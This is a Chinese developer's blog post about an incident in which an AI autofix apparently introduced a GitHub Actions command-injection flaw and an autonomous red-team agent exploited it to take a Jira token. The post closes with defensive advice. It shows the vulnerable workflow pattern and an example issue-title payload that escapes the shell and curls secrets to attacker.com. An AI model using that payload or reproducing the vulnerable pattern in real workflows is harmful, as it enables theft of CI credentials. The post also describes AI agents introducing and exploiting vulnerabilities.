我每天的活儿基本都交给 AI coding agent 干了:写业务、修 bug、连 CI 的活也敢让它碰。所以 8 月 17 号 Wiz 披露的那起 Snowflake 事件,是我最近读到的、最让我后背发凉的一个真实案例------一个 AI 写的"修复"埋下了命令注入漏洞,五天之后,另一个完全自主的 AI 把它找出来、打穿、还把 Jira 凭证偷走了。作为那个会把自己的 CI 交给 agent 的人,这事儿直接戳在我痛点上。我把时间线和我的判断拆一下,给同样在用 coding agent 的人提个醒。
事情到底发生了什么:一条被 AI 改坏的 CI 配置
时间线很清晰。2026 年 6 月 18 号,GitHub Copilot Autofix 在一个叫 snowflake-connector-net 的公开仓库里,作为共同作者提交了一个 PR(#1218),改动的是一个 GitHub Actions 工作流 jira_issue.yml------它的逻辑是:有人开了 issue,就自动建 Jira 工单。问题出在它对 issue 标题的处理上。
原来的安全写法长这样:把不可信输入塞进环境变量,再用 jq 解析,文本永远进不了 shell:
yaml
# 安全写法(Snowflake 原本就有,被 AI 删了)
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
TITLE=$(echo "$ISSUE_TITLE" | jq -r '.')
Copilot Autofix 的"修复"把它换成了直接字符串展开:
yaml
# 危险写法(Copilot Autofix 引入)
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed "s/'/\\'/g")
GitHub 的模板引擎会先把 issue 标题替换进脚本,之后 sed 才跑。只要标题里带一个单引号,就能逃出 echo '...' 的包裹,后面全是 shell 命令。等于任何一个 GitHub 用户(无需登录)开个 issue,标题里写 '; curl https://attacker.com -d $(cat /run/secrets) #,runner 上就执行任意命令。
更讽刺的是第二个漏洞:工作流里有一道本该限制触发者的门 if: github.event.pull_request.user.login != '...[bot]'。但 on issues 事件时 github.event.pull_request 永远是 null,比较结果恒为真------这道门对所有人敞开。Copilot 连 GitHub 自己 2025 年 7 月就写明禁止的写法都踩了。
五天,一个 AI 攻防闭环自己跑完了
6 月 23 号,Wiz 的自主红队 agent「Red Agent」在例行扫公开仓库时发现了这个洞。它第一次利用失败了(payload 里 # 注释把括号也吃掉了,报了 bash 语法错),但 agent 自己分析报错、改写 payload ,第二次成功,从 runner 环境里把 Jira API token 偷了出去,身份是 qa@snowflake.net,可读工程、安全合规和漏洞赏金追踪系统。整个过程攻击侧没有一个人类。Snowflake 当天修补、次日轮换凭证,审计日志显示那五天窗口内没有第三方真正访问过系统------所以数字上看是"被控制住了",但暴露的流程性问题一点没控制住。
真正该警惕的,不是"AI 会写错代码"
人类也会写错代码,这点不新鲜。让我警惕的是这件事揭示的结构性不对称 :在一条 AI 改动上,作者、审查者、攻击者可以全是 AI。Copilot Autofix 出补丁足够快,团队很容易把它当成"免审 PR"一键合;而像 Red Agent 这种自主安全 agent,能实时推理应用逻辑、几小时扫完几十万个仓库并自适应调整利用。你的审查者以人类速度移动,攻击者以机器速度移动------这个剪刀差才是根因。
还有个被反复引用的研究数字:AI 修复安全漏洞,只有约 26% 的概率改对。所以"AI 已经把这个告警修掉了"绝不等于"漏洞没了",它很可能只是把一种不安全换成了另一种不安全。这和 Snowflake 这起惊人地吻合------AI 改的恰恰是一个"安全修复",却把 sanitization 给删了。
给 coding agent 用户的三条硬规则(我的取舍)
我自己用的是这三条,不妥协:
- 把 AI 对任何 CI/CD、workflow YAML、shell、鉴权逻辑的改动,当第三方代码审。 不是扫一眼,是单独的安全闸门。Autofix 对 workflow 文件的建议,和供应商给你的脚本同等对待。
- 永远不要把不可信输入直接塞进 shell。 用
env:+jq --arg或参数化。这条对独立开发者也完全免费,没有借口不遵守。 - runner / agent 能拿到的凭证,最小权限 + 短过期。 Snowflake 那枚 Jira token 在 runner 上能跨读工程、安全合规、漏洞赏金系统,scope 太大了。凭证范围就是你的爆炸半径。
顺带聊信任边界:为什么我欣赏 DeepSeek Harness 的诚实
我前阵子读了 DeepSeek Harness(dsh)的架构文档,里面有一句话让我印象深刻:它明说 Host half 的 node:vm 沙箱 "is not containment"------Creator 模式的信任边界靠的是用户审批和人工把关,而不是技术沙箱。这种把自己架构的边界写清楚的做法,比一堆"安全无忧"的营销话术值钱得多。
Snowflake 这起事件正好说明为什么这点重要:当你让一个 agent 碰你的真实环境,你必须精确知道隔离边界到底在哪,而不能假装一个"不是隔离"的沙箱在保护你。所以我的判断是,对任何能在我 CI 或本机跑代码的 agent,我要的是显式、可审计的审批闸门和最小权限,而不是"感觉安全"。
结语
未来是 AI-on-AI 的:作者、审查者、攻击者都是 agent。Snowflake 的事后声明说得很直白------"人工代码审查不足以快速发现漏洞,尤其在开发者越来越依赖 AI 的今天"。这不是要你弃用 coding agent,而是要把流程补齐:对"会执行的文件"上的 AI 改动强制安全闸门、凭证短命、在自己的流水线里也跑自主红队。工具可以慢慢挑,这种心态现在就得 clone 到自己的 workflow 里。
参考:Wiz Research《An AI broke Snowflake's code. Then another AI agent exploited it.》(2026-08-17)| Hacker News 讨论 #49331423 | 涉事仓库 snowflakedb/snowflake-connector-net(PR #1218 / 修复 PR #1402)